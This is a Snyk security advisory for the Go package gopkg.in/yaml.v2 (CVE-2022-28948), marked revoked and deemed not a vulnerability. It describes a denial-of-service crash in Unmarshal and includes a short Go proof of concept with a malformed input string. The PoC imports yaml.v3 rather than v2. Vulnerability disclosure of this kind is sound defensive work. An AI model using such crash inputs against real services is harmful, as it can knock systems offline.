Denial of Service (DoS) The advisory has been revoked - it doesn't affect any version of package gopkg.in/yaml.v2 (opens in a new tab)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GOPKGINYAMLV2-2840885
- published20 May 2022
- disclosed20 May 2022
- creditBradley Kemp (@bardleyjkemp)
Introduced: 20 May 2022
CVE-2022-28948 (opens in a new tab)Amendment
This was deemed not a vulnerability.
Overview
gopkg.in/yaml.v2 is a YAML support package for the Go language.
Affected versions of this package are vulnerable to Denial of Service (DoS) via the Unmarshal function, which causes the program to crash when attempting to deserialize invalid input.
PoC
package main
import (
"gopkg.in/yaml.v3"
)
func main() {
var t interface{}
yaml.Unmarshal([]byte("0: [:!00 \xef"), &t)
}